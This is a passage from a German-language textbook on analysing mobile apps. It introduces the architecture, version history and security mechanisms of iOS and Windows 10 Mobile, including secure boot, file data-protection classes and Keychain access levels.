können Dateisystemoperationen durchführen, Netzwerkverkehr überwachen
oder anderweitige Informationen (wie z. B. den Standort des Gerätes) an andere
installierte Applikationen weiterreichen. Verlangt eine Applikation Zugriff
auf einen speziellen Service, so wird dies über den Binder IPC und den
Service Manager umgesetzt. Dabei prüft der Service Manager die Zugriffsrechte
und der Binder IPC agiert als direkte Kommunikationsschnittstelle
zwischen Applikation und abgefragtem Service.
Shared Preferences: Diese werden von der Applikation verwendet, um kleinere
Datenmengen zu speichern, die zur Funktion benötigt werden (z. B.: Spielstände).
Sie liegen meist als XML in einem Verzeichnis namens shared_prefs.
Sensible Daten sollten hier auf keinen Fall abgelegt werden, da sie an dieser
Stelle anfällig für Diebstahl und Offenlegung sind.
1.2 Apple iOS
Apple iOS, das ursprünglich aus Mac OS X entstand und auch heute noch viele
Gemeinsamkeiten damit hat, gibt es seit 2007 für iPhones und später auch für
iPads und den AppleTV. Im Gegensatz zu Android ist es jedoch Closed Source.
Die Komponenten, die das System ausmachen und auch im weiteren Verlauf des

1.2 Apple iOS 9
Buches von Interesse sind, werden in den folgenden Abschnitten genauer beleuchtet.
1.2.1 Die Entwicklung der iOS-Plattform
Die Geschichte von iOS begann im Jahr 2005, als bei Apple entschieden wurde,
ein Smartphone zu entwickeln, das auf dem vom Mac bekannten OS X beruhte.
Die Vorstellung des ersten iPhone und damit auch von iOS war knapp 2 Jahre
später im Januar 2007 auf der MacWorld Conference and Expo. Zuerst unterstützte
das iPhone nur einige wenige Applikationen von Apple selbst und sogenannte
Web-Apps, bei denen lediglich im Browser eine GUI angezeigt wird und
die eigentliche Technik auf einem Server-Backend läuft. Ab 2008 folgte dann das
erste SDK, womit es möglich war, auch native Applikationen als Dritthersteller
zu entwickeln. Zeitgleich wurde auch der App Store eingeführt um die Applikationen
an die Endkunden zu vertreiben.
Den offiziellen – und bis heute bekannten – Namen iOS bekam das System
von Apple erst im Jahre 2010. Im selben Jahr wurden auch die Betriebssysteme
von iPhones und iPads mit der Veröffentlichung von iOS 4.2.1 vereinheitlicht.
Seit 2014 gibt es zusätzlich zu dem bekannten iOS auch noch watchOS für die
Apple Watch sowie tvOS für den AppleTV mit einem Erscheinungsdatum ab
2015 (zuvor besaß der AppleTV ebenfalls iOS als Betriebssystem). Die gesamte
zeitliche Entwicklung der Plattform, speziell deren Hauptversionen, ist in Tabelle
1–2 zusammen mit ihren Versionsnummern und Erscheinungsdaten dargestellt.
Wie man an der Tabelle sehr schön erkennen kann, versucht Apple jedes
Jahr zu ihrer September-Keynote eine neue Hauptversion von iOS vorzustellen.
Dieser Termin ist für alle Entwickler, aber auch Analysten, ein Datum, an dem
sie sich die neuen Funktionen der Plattform, aber vor allem auch die Änderungen
an bisherigen Funktionen und Sicherheitsmechanismen genau anschauen sollten.
Auch viele der in diesem Buch verwendeten Werkzeuge und Techniken sind stark
von der iOS-Version der verbundenen Endgeräte abhängig.
1.2.2 Die Architektur des Betriebssystems
Die iOS-Architektur kann in fünf verschiedene Schichten unterteilt werden: Basis
der Architektur ist das sogenannte Core OS (Darwin), darüber liegen die Core-
Services gefolgt von der Schicht, die für Grafik, Audio und Video zuständig ist.
Eine Schicht darüber folgt Cocoa Touch und als oberste Ebene die eigentlichen
Applikationen (siehe Abbildung 1–2). Jede dieser fünf Schichten stellt spezielle
Interfaces und Systemressourcen für die darüberliegende Schicht zur Verfügung,
sodass eine Interaktion zwischen den einzelnen Schichten ermöglicht wird.

10 1 Einführung in mobile Betriebssysteme und deren Applikationen
Version Veröffentlichung Verwendung
1.0 01/2007 s
1.1 09/2007 s
2.0 07/2008 s
2.1 09/2008 s
2.2 11/2008 s
3.0 06/2009 s
3.1 09/2009 s
3.2 04/2010 s,t
4.0 06/2010 s,t,a
4.1 09/2010 s,t,a
4.2 11/2010 s,t,a
4.3 03/2011 s,t,a
5.0 10/2011 s,t,a
5.1 03/2012 s,t,a
6.0 09/2012 s,t,a
6.1 02/2013 s,t,a
7.0 09/2013 s,t,a
7.1 03/2014 s,t,a
8.0 09/2014 s,t,a
8.1 12/2014 s,t,a
8.2 03/2015 s,t,a
8.3 04/2015 s,t,a
8.4 06/2015 s,t,a
9.0 09/2015 s,t
9.1 10/2015 s,t
9.2 12/2015 s,t
Tab. 1–2: Liste der iOS-Versionen und deren Erscheinungsdatum seit der ersten offiziellen Veröffentlichung
in 2007 (s = iPhone/iPod Touch, t = iPad, a = AppleTV)

1.2 Apple iOS 11
Apple
Apps
Applications
Third-Party
Apps
UIKit
Framework
Cocoa Touch
Foundation
Framework
OpenGL
Core
Graphics
OpenAL
Media
Quartz
Core
Audio
Media
Player
Address
Book
Core
Foundation
SQLite
Core & Security Services
CFNetwork
Core
Location
XML
Support
System
Utilities
Core OS (Darwin)
Mach Kernel
Abb. 1–2: Übersicht der Architektur des iOS-Betriebssystems
Das Core OS
Das Core OS von iOS ist auch unter dem Namen Darwin bekannt und ist im
Wesentlichen ein vollwertiges UNIX-Betriebssystem, jedoch ohne grafische Oberfläche.
Es basiert auf dem Nutzerbereich von FreeBSD und einem Mach-Kernel.
Damit bietet es Benutzern und Applikationen eine Schnittstelle zur Kommunikation
mit der verbauten Hardware und steuert das Speichermanagement sowie die
Zugriffe auf das Dateisystem und die unterste Schicht des Netzwerkstacks. Das
Besondere an Darwin ist, dass es sowohl unter Apples älteren PowerPC-Plattform
lauffähig ist (und dort auch Verwendung fand) als auch unter der aktuellen Intelund
ARM-Plattform. Somit findet dieser Bereich von iOS auch auf den aktuellen
mit Mac OS X betriebenen Systemen seinen Einsatz. Geräte mit iOS 9.x oder
Mac OS X el Capitan setzen dabei auf die Version 15.x von Darwin.
Core- und Security-Services
Hier finden sich die Systembibliotheken von iOS, die sowohl vom System selbst
als auch von allen installierten Apps verwendet werden. Hierzu gehören u. a. die

12 1 Einführung in mobile Betriebssysteme und deren Applikationen
API, um mit dem iCloud-Speicherplatz zu interagieren, aber auch die nötigen
Schnittstellen, um SQLite-Datenbanken zu lesen und zu schreiben oder um die
Kommunikation über das Internet vorzunehmen. Des Weiteren sind hier auch die
meisten Sicherheitsmechanismen verankert, wie z. B. Dataprotection (siehe dazu
Abschnitt 1.2.3) und Automatic Reference Counting, auf das wir bei den Analysen
von iOS-Applikationen noch zu sprechen kommen. In dieser Schicht werden
auch In-App-Käufe und der Zugriff auf das Adressbuch sowie die Keychain (siehe
dazu Abschnitt 1.2.3) gesteuert.
Aufrufe von Bibliotheken dieser Schicht sind während des Reversings sehr
gut daran zu erkennen, dass ihre Namen mit CF beginnen (z. B. CFReadStream und
CFNetwork).
Media
In dieser Schicht liegen alle Bibliotheken, die für die Anzeige von Grafiken jeglicher
Art, das Abspielen von Videos, die Wiedergabe sowie Aufzeichnung von Audio
und AirPlay zuständig sind. AirPlay ist im übertragenen Sinn die Streaming-
Technologie von Apple. Sie erlaubt es, Video- und Audiodaten an über WLAN
verbundene Geräte (z. B. den AppleTV) weiterzugeben (engl. streaming), und
stellt diesen Dienst allen Applikationen zur Verfügung.
Cocoa Touch
Cocoa Touch ist vergleichbar mit der Applikationsframework-Schicht auf Android
und stellt dem Entwickler einfache Schnittstellen zu den darunterliegenden
Bibliotheken zur Verfügung. Es besteht aus den folgenden drei Frameworks:
■
■
Foundation (relevante Basisklassen der C-basierten Programmierung, wie
z. B. Strings und Arrays),
UIKit (besteht aus den folgenden zwei Komponenten: AppKit [alles, was man
zur Entwicklung des User-Interface benötigt, also z. B. Menüs und Buttons,
aber auch Sprachanbindung] sowie Core-Data zur Erstellung von Objektgraphen
und zur Ablage von Daten)
Klassen dieser Frameworks sind während des Reversings sehr gut daran zu erkennen,
dass ihre Namen mit NS beginnen (z. B. NSString und NSException).
Die Applikation selbst
Darüber liegen schließlich die eigentlichen Applikationen. Jede dieser installierten
Applikationen ist zum großen Teil in Objective-C geschrieben (mit optionalen eigenen
Bibliotheken) oder neuerdings in Swift. Aktuell gibt es im offiziellen Apple
App Store knapp über 1,5 Millionen dieser Applikationen (Apps) [16].

1.2 Apple iOS 13
Die fertige Applikation wird über den App Store als IPA-Datei verteilt. Dieses
Paket beinhaltet die kompilierte Applikation selbst, weitere Ressourcen, die zur
Ausführung nötig sind, und Metadaten:
■
■
■
Payload/Applikation.app/: enthält alle statischen Ressourcen und eingebundenen
Bibliotheken sowie die kompilierte Applikation (das sogenannte Mach-
O-Binary) selbst
iTunesArtwork: Icon für den App Store und iTunes
iTunesMetadata.plist: Metadaten wie z. B. Entwicklername oder Versionsnummer
Wie auch schon bei Android handelt es sich auch hier um einen Pakettyp, der
mittels unzip entpackt werden kann.
Mach-O-Binary
Wie bereits kurz gezeigt, besteht eine iOS-Applikation aus verschiedenen Bestandteilen.
Der für uns wichtigste Bestandteil ist das eigentliche Executable. Dieses
liegt als Mach-O-Dateityp innerhalb des Paketes und ist – falls die Applikation
aus dem App Store geladen wurde – solange verschlüsselt, bis sie auf dem Gerät
ausgeführt wird. In diesem Moment wird die gesamte Applikation entschlüsselt
und in den Speicher geladen (wie wir dies ausnutzen können, um an das entschlüsselte
Binary für unsere Analyse zu kommen, zeigen wir in Abschnitt 5.3.3).
Bei iOS ist es häufig der Fall, dass innerhalb dieser Mach-O-Datei mehrere
Executables liegen (nämlich eines für jede CPU-Architektur, auf der die Applikation
lauffähig sein soll). Diese Dateien nennt man dann auch Fat Binaries. Wir
werden später sehen, wie man eine einzelne Architektur extrahiert und so ein
schlankeres Binary für die Analysen erhält (siehe dazu Abschnitt 5.2.6).
Ein solches Mach-O-Binary enthält die drei folgenden Bereiche (siehe dazu
auch Abbildung 1–3):
Header: Hiermit beginnt das Mach-O-Binary. Es enthält wichtige Metadaten
über die Datei selbst, dazu zählen u. a. Dateiformat, aber auch die Architektur(en),
die enthalten sind.
Load-Kommandos: Dieser Bereich beschreibt das eigentliche Layout (initiales
Layout der Datei im Speicher, Speicherort der Symboltabelle, Informationen
zu den verschlüsselten Bereichen etc.) und die verlinkten Shared Libraries. Er
besitzt für jedes Data-Segment eigene Load-Kommandos.
Data: Hier befinden sich die entsprechenden Segmente und ihre Code- bzw. Datenbereiche.
Die Struktur eines solchen Binaries – auch Executable genannt – ist für das manuelle
Reversing sehr wichtig, wie wir in Abschnitt 5.4 sehen werden.

14 1 Einführung in mobile Betriebssysteme und deren Applikationen
Header
Load Commands
Segment 1 Command
Segment 2 Command
Data
Segment
1
Segment
2
Section 1 Data
Section 2 Data
Section 3 Data
Section 4 Data
Section 5 Data
.......
Section n Data
Abb. 1–3: Schematische Darstellung eines Mach-O-Binary
1.2.3 Besondere Sicherheitsmechanismen
Möchte man mit iOS als Analyseplattform arbeiten, so ist es wichtig, nicht nur
die Eigenschaften des Systems und der Applikationen zu verstehen, sondern auch
die Sicherheitsmechanismen, die Apple auf dieser Plattform eingeführt hat. Viele
der im Folgenden beschriebenen Eigenschaften haben direkten Einfluss auf
die Sicherheit der Applikation bzw. ihrer Daten und können wie im Fall der
Dataprotection-Level und der Keychain vom Entwickler der Applikation beeinflusst
werden. Aus diesem Grund ist es wichtig, die Unterschiede auch als Analyst
zu kennen.
Secure Boot Chain
Die erste Stufe des Sicherheitsmodells von iOS – und somit auch die erste Hürde
für Angriffe – ist die Secure Boot Chain. Also der Prozess, der das eigentliche Betriebssystem
startet und dabei die gesamte Firmware lädt (für eine schematische
Darstellung siehe Abbildung 1–4). Das Besondere hierbei ist, dass jede der relevanten
Komponenten von Apple digital signiert wurde und diese Signatur beim
Laden der Komponente überprüft wird. Dadurch kann eine Änderung oder gar
der Austausch einzelner Komponenten erkannt und verhindert werden (Ähnliches

1.2 Apple iOS 15
Boot ROM LLB iBoot iOS Kernel
Abb. 1–4: Schematische Darstellung des Bootvorgangs unter iOS
verwendet neuerdings auch Android bei Systemen, die mit KNOX ausgestattet
sind).
Schaltet der Nutzer das Endgerät an, so lädt der Prozessor als Erstes das Boot
ROM. Dies ist ein spezieller Codeabschnitt, der während der Produktion in den
Prozessorchip geschrieben wurde und nicht mehr verändert werden kann. Der
wichtigste Bestandteil dieses Codes ist der Public-Key für Apples Root-CA.
Mithilfe dieses Public Key kann die Signatur des Low Level Bootloader (LLB)
verifiziert werden, bevor dieser dann gestartet wird. Der LLB besitzt neben einer
Vielzahl an Routinen zum Starten essenzieller Schritte auch die Fähigkeit,
das iBoot-Abbild im Flash-Speicher zu lokalisieren und dessen Signatur zu prüfen.
Schlägt dessen Prüfung fehl, startet das iOS-Gerät im sogenannten Recovery-
Modus.
Gelingt die Prüfung, wird iBoot gestartet. Dieser zweite Bootloader nach LLB
überprüft wiederum die Signatur des eigentlichen iOS-Kernels. Dieser lädt das eigentliche
Betriebssystem mit allen Komponenten, die wir von der täglichen Nutzung
kennen.
Was man hier sehr schön erkennen kann, ist, dass Apple alles versucht, um
zu verhindern, dass bis zu diesem Punkt etwas manipuliert wird oder wichtige
Module ausgetauscht werden, die eine spätere Verwendung von iOS selbst beeinflussen
können. Das Umgehen dieser sicheren Kette ist auch die größte Herausforderung
für Personen oder Gruppen, die einen Jailbreak für iOS entwickeln.
Dataprotection-Level
Wie schon erwähnt ist eines der wichtigsten Punkte beim Entwickeln von Applikationen
die Verschlüsselung bzw. sichere Speicherung von Daten. Gerade wenn
es um sehr sensible Daten wie Unternehmensdaten oder persönliche Nachrichten
geht, sollte man darauf achten, ob sie wirklich vor unberechtigtem Zugriff
geschützt sind. Apple bietet hierzu eine eigene API an: NSFileProtection.
Mit ihr hat der Entwickler einer Applikation die Möglichkeit, sich auf die
Methoden und die Hardware von Apple zu verlassen, und muss sich keine eigenen
Methoden oder gar Algorithmen ausdenken, um Daten sicher auf dem Gerät
abzulegen. Hierzu hat Apple vier verschiedene Verschlüsselungsstufen bereitgestellt,
aus denen der Entwickler wählen kann. Wie man in Abbildung 1–5 sehen
kann, gibt es zwei verschiedene Werte, die in die Generierung der Schlüssel einfließen
können: Hardware (also ein einzigartiger Schlüssel, der in der Hardware
verankert ist) und Passcode (also der Passcode, den der Nutzer eingibt, um den

16 1 Einführung in mobile Betriebssysteme und deren Applikationen
Hardware
Passcode
NSFileProtectionNone
NSFileProtectionComplete
UntilFirstUserAuthentication
NSFileProtectionComplete
UnlessOpen
NSFileProtectionComplete
File File File File File File File File
Abb. 1–5: Schematische Darstellung der Ableitung des Schlüsselmaterials
Bildschirm zu entsperren). Die Details zu den einzelnen Stufen werden im Folgenden
noch kurz erläutert1 :
NSFileProtectionNone: Diese Stufe bezeichnet Apple selbst auch gerne als »No
Protection«. Die damit geschützten Daten sind auf einem iOS-Gerät so lange
verschlüsselt, wie es ausgeschaltet ist. Der Schlüssel wird hierbei jedoch lediglich
aus Variablen, die auf dem Gerät gespeichert sind, abgeleitet und bietet
somit nahezu keinen Schutz vor Angreifern.
NSFileProtectionCompleteUntilFirstUserAuthentication: Hierbei wird ein
Schlüssel aus Variablen des Gerätes selbst und dem Passcode des Nutzers
abgeleitet. Der so generierte Schlüssel bleibt so lange im Speicher, bis es
zu einem Neustart oder Ausschalten des Gerätes kommt. Dieser Schutz ist
vergleichbar mit der Festplattenverschlüsselung eines Computers. Dies ist
seit iOS 7.0 für alle Third-Party-Applikationen der Standardwert, sollte es
vom Entwickler nicht explizit anders angegeben worden sein.
NSFileProtectionCompleteUnlessOpen: Diese Stufe ist sehr ähnlich zu der zuvor
erwähnten. Der einzige Unterschied besteht darin, dass der Schlüssel der Datei
aus dem Speicher gelöscht wird, sobald die entsprechende Datei geschlossen
wird. Hiermit ist es immer noch möglich, mit geschützten Dateien zu agieren,
während der Bildschirm des Gerätes gesperrt ist (wie auch zuvor), jedoch
wird der Schlüssel aus dem Speicher entfernt, sobald er nicht mehr benötigt
wird.
1 Für tiefer gehende Details empfehle ich: https://www.apple.com/business/docs/iOS_
Security_Guide.pdf

1.2 Apple iOS 17
NSFileProtectionComplete: Dies ist die höchste Stufe der Sicherheit bei iOS-
Dateien. Hier wird der Schlüssel sofort aus dem Speicher gelöscht, sobald der
Bildschirm des iOS-Gerätes sich sperrt. Dies verhindert aber auch, dass eine
Applikation bei gesperrtem Bildschirm mit den so geschützten Daten arbeiten
kann.
Wie man am Pfeil in Abbildung 1–5 erkennen kann, steigt die Sicherheit der
Verschlüsselung, je weiter man nach rechts geht, d. h., NSFileProtectionComplete
bietet die beste Verschlüsselung. Aus den beschriebenen Eigenschaften und eventuellen
Problemen ergibt sich direkt die Schlussfolgerung, dass ein Entwickler
immer genau überlegen muss, wann er die Daten benötigt und welche Stufe der
Verschlüsselung er somit anwenden kann. Hierbei sollte immer das Maximum
gewählt werden, das den aktuellen Use Case noch ermöglicht.
Die Keychain
Die Keychain auf iOS ist vergleichbar mit einem Safe. Man kann in ihr schützenswerte
oder hoch sensible Daten ablegen wie z. B. Passwörter, Zertifikate oder
Crypto-Schlüssel. Wie auch schon bei der Ablage von Daten im Dateisystem, gibt
es auch hier eine eigene API, die es erlaubt, vordefinierte Schutzlevel zu verwenden:
kSecAttr.
Es gibt folgende Schutzlevel für Einträge in der Keychain (aufsteigend sortiert
von »kein Schutz« bis »maximaler Schutz«):
kSecAttrAccessibleAlways: Diese Einträge in der Keychain sind immer verfügbar
und zugreifbar.
kSecAttrAccessibleAfterFirstUnlock: Diese Einträge sind verfügbar, sobald das
Gerät einmal entsperrt wurde, bis zu einem Neustart.
kSecAttrAccessibleWhenUnlocked: Damit versehene Einträge sind nur dann zugreifbar,
wenn das Gerät entsperrt ist. Dies ist seit iOS 7.0 für alle Einträge
der Standardwert, sollte es vom Entwickler nicht explizit anders angegeben
worden sein.
kSecAttrAccessibleAlwaysThisDeviceOnly: Diese Einträge in der Keychain sind
immer verfügbar und zugreifbar, können aber nicht auf ein anderes Gerät
übertragen werden (z. B. im Rahmen eines Sync oder Restore eines Backups
auf ein neues iOS-Gerät).
kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly: Hier gilt dasselbe wie bei
kSecAttrAccessibleAfterFirstUnlock, die Einträge können aber nicht auf ein
anderes Gerät übertragen werden.
kSecAttrAccessibleWhenUnlockedThisDeviceOnly: Hier gilt dasselbe wie bei
kSecAttrAccessibleWhenUnlocked, die Einträge können aber nicht auf ein anderes
Gerät übertragen werden.

18 1 Einführung in mobile Betriebssysteme und deren Applikationen
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly: Dies erlaubt es, nur dann
auf Einträge in der Keychain zuzugreifen, wenn vom Nutzer ein Passcode
gesetzt wurde und der Nutzer den Bildschirm mittels Passcode entsperrt hat
(neu seit iOS 8). Wird dieser Passcode später wieder entfernt, können alle so
markierten Einträge nicht mehr gelesen/entschlüsselt werden. Ein Übertragen
auf ein anderes Gerät ist bei diesen Einträgen ebenfalls nicht möglich.
Für einen Vergleich der wichtigsten Schutzlevel zwischen dem Dateisystem und
der Keychain siehe Tabelle 1–3.
Verfügbarkeit der
Daten/Einträge
Dataprotection-Level
Keychain-Level
Endgerät entsperrt NSFileProtectionComplete kSecAttrAccessibleWhenUnlocked
Endgerät gesperrt
Nach erstmaligem
Entsperren
Sobald Passcode
verfügbar
NSFileProtectionComplete
UnlessOpen
NSFileProtectionComplete
UntilFirstUserAuthentication
n/a
n/a
kSecAttrAccessibleAfter-
FirstUnlock
kSecAttrAccessibleWhen
PasscodeSetThisDeviceOnly
Immer NSFileProtectionNone kSecAttrAccessibleAlways
Tab. 1–3: Übersicht der Schutzlevel für Daten auf dem Dateisystem und Keychain-Inhalte
bei iOS
1.3 Windows 10 Mobile
Windows 10 Mobile ist die neueste Generation eines mobilen Betriebssystems von
Microsoft. Microsoft baut seit dem Jahr 2002 solche Betriebssysteme und hatte
sie früher unter dem Namen Windows Mobile veröffentlicht. In 2010 wurde dann
das komplett überarbeitete und gänzlich neu-entwickelte System Windows Phone
vorgestellt, das seither immer näher an die Desktop-Version angeglichen wird und
seit 2015 unter dem Namen Windows 10 Mobile bekannt ist.
Die Komponenten, die das System ausmachen und auch im weiteren Verlauf
des Buches von Interesse sind, werden wir uns in den folgenden Abschnitten genauer
ansehen, und feststellen, wo für eine Analyse die wichtigen Daten liegen
und die ersten Angriffsvektoren zu finden sind.
1.3.1 Die Entwicklung der Windows Phone-Plattform
Die Geschichte von Windows Phone begann bereits im Jahr 2002 mit der ersten
Version von Windows Mobile. Dieses OS basierte auf Windows CE 3.0 und

1.3 Windows 10 Mobile 19
wurde speziell für tastaturlose PDAs (Personal Digital Assistant) entwickelt. Im
folgenden Jahr wurden mehrere Versionen dieses Betriebssystems auf den Markt
gebracht, die unterschiedliche Einsatzszenarien hatten. Dazu zählten u. a. PDAs
mit Telefonfunktion und reine Smartphones ohne Touchdisplay.
2005 brachte Microsoft dann die Version Windows Mobile 5 auf den Markt.
Dieses OS hatte einige gravierende Änderungen zu den Vorgängern wie z. B. das
.NET Compact Framework und verbesserte Versionen der Office-Apps. Zwischen
2007 und 2010 wurden verschiedene Versionen von Windows Mobile 6
veröffentlicht. In den meisten Fällen wurde innerhalb dieser Versionen Bugs sowie
Features, die die User Experience betreffen, geändert. Es gab jedoch auch einige
Features im Bereich der Sicherheit des OS und der angeschlossenen Peripherie.
Dazu zählten u. a. das Verschlüsseln der externen Speicherkarten, Remote Wipe
auch für die Speicherkarte, verbesserte Zertifikatshandhabung und Gerätesperre
sowie eine per Exchange-Policy aktivierbare Verschlüsselung der PIM-Daten
(Personal Information Manager).
2010 kam mit dem eigentlichen Update auf Windows Mobile 7 auch die
Namensänderung zu Windows Phone. Dieses OS beruhte zwar immer noch auf
Windows CE, hatte aber zusätzlich Bestandteile aus Windows Compact enthalten
und schon versucht, das neue kachelbasierte Design auf die mobilen Endgeräte zu
bringen. Mit der Allianz von Nokia und Microsoft kam dann im Jahre 2012 Windows
Phone 8 auf den Markt, das als erstes OS der mobilen Microsoft-Geschichte
nicht mehr auf Windows CE aufbaute, sondern denselben Unterbau wie die vom
Desktop bekannten Systeme Windows 8 und Windows RT hatte: Windows NT.
Windows 10 Mobile ist die neueste Version des mobilen OS von Microsoft
und wurde speziell für den Einsatz auf Smartphones und Tablets entwickelt. Im
Wesentlichen ist es eine angepasste Ausgabe des vom PC bekannten Windows 10.
Microsoft versucht mit der in 2015 vorgestellten Version, eine Art Symbiose aus
beiden Welten zu erschaffen. Eine echte Verbreitung dieses OS begann jedoch
erst im Herbst 2015 mit dem Update einiger Windows Phone-8.x-Modelle. Der
Marktanteil im 4. Quartal 2015 betrug lediglich 1,1 % [7], was deutlich zeigt,
dass dieses OS bisher nur ein Nischenprodukt ist. Dies hat auch zur Folge, dass
es wenig Forschung im Bereich der Analyse dieser Plattform gibt, was sich leider
auch auf die im weiteren Verlauf dieses Buches beschriebenen Methoden auswirkt.
Eine Übersicht dieser Entwicklung ist noch einmal in Tabelle 1–4 dargestellt.
Sie enthält zudem die Plattformen, auf denen die einzelnen OS-Versionen zum
Einsatz kamen, und zeigt damit auch das Ende der PocketPCs – wie Microsoft
seine PDAs stets nannte – im Jahre 2010.
Im Folgenden werden wir uns ausschließlich auf die neuere Generation des
mobilen Betriebssystems mit Windows-NT-Kernel konzentrieren.

20 1 Einführung in mobile Betriebssysteme und deren Applikationen
Version Veröffentlichung Verwendung
Windows Mobile 2002 01/2002 p
Windows Mobile 2003 06/2003 s,p
Windows Mobile 2003 SE 03/2004 s,p
Windows Mobile 5 05/2005 s,p
Windows Mobile 6 02/2007 s,p
Windows Mobile 6.1 04/2008 s,p
Windows Mobile 6.5 05/2009 s,p
Windows Mobile 6.5.3 02/2010 s,p
Windows Phone 7 02/2010 s
Windows Phone 8 06/2012 s,t
Windows 10 Mobile 01/2015 s,t
Tab. 1–4: Liste der Windows-Versionen und deren Erscheinungsdatum seit der ersten offiziellen
Veröffentlichung in 2002 (s = Smartphone, t = Tablet, p = PDA/PocketPC)
1.3.2 Die Architektur des Betriebssystems
Die Architektur von Windows 10 Mobile kann in vier verschiedene Schichten
unterteilt werden: Basis der Architektur ist der bereits erwähnte Windows-NT-
Kernel, darüber liegen die WinRT APIs – die Schicht, die für Grafik, Audio und
Video zuständig ist. Eine Schicht darüber folgt das Component Object Model,
das den Anwendungsentwicklern verschiedene Runtimes zur Verfügung stellt und
somit erlaubt, auf Basis der Kombination aus HTML, CSS und JavaScript oder
XAML und einer der Programmiersprachen .NET, C# oder C++ Applikationen
zu entwickeln. Als oberste Ebene folgen schließlich die eigentlichen Applikationen
(siehe Abbildung 1–6). Jede dieser vier Schichten stellt spezielle Interfaces
und Systemressourcen für die darüberliegende Schicht zur Verfügung, sodass eine
Interaktion zwischen den einzelnen Schichten ermöglicht wird.
Windows-NT-Kernel
Der Windows-NT-Kernel, der ebenso die Basis aller Desktop-Betriebssysteme von
Microsoft seit dem gleichnamigen Windows NT ist, besitzt selbst einen modularen
Aufbau. Die unterste Ebene der Kernel-Schicht bildet der Hardware Abstraction
Layer. Darauf bauen der eigentliche Hybridkernel und die später erwähnten
Subsysteme auf. Der Hybridkernel kümmert sich dabei um die Vergabe des Arbeitsspeichers
und der Rechenleistung auf der CPU und anderen verbauten Co-
Prozessoren.

1.3 Windows 10 Mobile 21
Modern UI Applications
XAML
HTML5 / CSS /
WinJS
DirectX Runtime
Component Object Model
C / C++
Runtime
.Net Runtime
Chakra-Engine
Communication
& Data
Graphics &
Media
Devices
WinRT APIs
Metadata &
Namespace
Windows NT Kernel
Abb. 1–6: Übersicht über die Architektur des Windows-10-Mobile-Betriebssystems
WinRT APIs
Direkt auf dem Kernel aufbauend befindet sich die Windows Runtime, auch
WinRT genannt, mit den essenziellen Schnittstellen zwischen den eigentlichen
Applikationen und dem Hardware Abstraction Layer. Hier sind all die APIs vorhanden,
die eine Applikation im Hintergrund benötigt, um auf den lokalen Speicher
zuzugreifen, SMS zu versenden, Kommunikation per NFC oder WLAN vorzunehmen
oder auch einfach nur ein Video abzuspielen. Die wichtigsten Schnittstellen
sind dabei die folgenden:
Windows RT Core: Sie übernimmt alles, was die Bereiche Authentifizierung,
Kryptografie, Speichermanagement und das parallele Verarbeiten von Prozessen
betrifft.
Communication & Data: Hier wird alles gesteuert, was lokalen sowie Cloudbasierten
Speicher betrifft, aber auch die generelle Kommunikation über
Netzwerke (GSM, Wi-Fi, NFC etc.).
Devices: In dieser API werden die Anfragen zu wichtigen Sensoren des Endgerätes
gesteuert. Hierzu zählen u. a. GPS, Lichtsensor, aber auch die Kamera.
Graphics & Media: Diese API ist für das Anzeigen von grafischen Effekten, der
eigentlichen Oberfläche und auch von Videos und Bildern zuständig.

22 1 Einführung in mobile Betriebssysteme und deren Applikationen
Component Object Model
Das Component Object Model, auch bekannt unter der Abkürzung COM, ist
eine Technik zur Erstellung von Softwarekomponenten, die unabhängig von der
Programmiersprache eingesetzt werden können. Komponenten des COM ermöglichen
Interprozesskommunikation und dynamische Objekterzeugung. Der Aufbau
des COM ist dabei Client/Server-basiert, wobei der Server auch auf dem
lokalen Endgerät laufen kann.
In dieser Schicht des OS sind eine ganze Menge verschiedener Runtimes implementiert,
die für den Entwickler von Applikationen eine vereinfachte Abstraktion
der APIs aus der WinRT-Schicht bieten. Möchte er also z. B. mit .NET eine
Applikation programmieren, so findet er in dieser Schicht fertige APIs, die er einbinden
kann, um z. B. auf die Kamera oder den lokalen Speicher zuzugreifen.
Innerhalb dieser Runtimes sind jedoch nicht alle verfügbaren WinRT APIs abgebildet.
Möchte der Entwickler auf nicht zur Verfügung stehende Klassen und
APIs aus dem darunterliegenden Framework zugreifen, muss die Applikation zwischen
einem Client und einem Server aufgeteilt werden. An dieser Stelle greift das
Component Object Model mit seinen vorhandenen Templates ein und unterstützt
den Entwickler bei seinem Vorhaben.
Im Wesentlichen kann diese Schicht als Vermittler zwischen der Programmiersprache,
in der die Applikation geschrieben ist, und den WinRT APIs gesehen
werden.
Applikationen
Die oberste Schicht stellen wie üblich die Applikationen selbst dar. Diese laufen
auch bei Windows 10 Mobile in einer Sandbox. Diese Sandbox sorgt dafür,
dass Applikationen in einer isolierten und überwachten Umgebung ablaufen, wo
sie nur begrenzten Zugriff auf das Betriebssystem, die darin enthaltenen APIs
und andere Applikationen erhalten. Einzige Ausnahme sind hier Applikationen,
die mit einem Enterprise-Zertifikat signiert sind. Diese können unter bestimmten
Voraussetzungen diese Abschottung umgehen.
Das Modell bei Windows 10 Mobile ist – ähnlich wie es auch die Entwicklung
bei iOS zeigt – darauf ausgelegt, alle Daten in der Cloud zu speichern und
nur lokale Daten vorzuhalten, um auch offline arbeiten zu können oder um die
Geschwindigkeit beim Arbeiten mit Applikationen zu erhöhen.
Microsoft setzt beim Verteilen der Applikationen auf zentrale Verfahren. Dazu
gehören der Windows Store, Configuration Manager (ein Teil des Microsoft
System Center), firmeneigene Mobile Device Management (MDM)-Systeme oder
das Cloud-basierte Windows InTune (Microsofts eigenes Mobile Device Management
[MDM]).

1.3 Windows 10 Mobile 23
1.3.3 Besondere Sicherheitsmechanismen
Windows 10 Mobile bietet eine Menge Sicherheitsfeatures, die wir teilweise auch
von iOS und Android kennen, aber auch von Systemen vergangener Zeiten wie
Symbian. Man hat hier versucht, ein wirklich durchdachtes Sicherheitskonzept
auf die mobilen Endgeräte zu bekommen. Einige der wichtigsten Komponenten
davon werden im Folgenden kurz erläutert2 :
Nutzerauthentifizierung: Neben den von anderen Systemen bereits bekannten
Möglichkeiten, den Nutzer zu authentifizieren (wie PIN oder Passwort), bietet
Windows 10 Mobile auch die Möglichkeit der Iris-Erkennung. Hierbei
wird mit einer Kombination aus dem IR-Licht-Bereich und einer hochauflösenden
Kamera die Iris des Nutzers fotografiert und gegen die gelernten
Muster des legitimen Nutzers abgeglichen. Durch die Verwendung von Licht
aus dem IR-Bereich wird es deutlich erschwert, dieses System mit bekannten
Techniken [15] zu überlisten.
Enterprise Data Protection (EDP): Das Herzstück der Verschlüsselung von
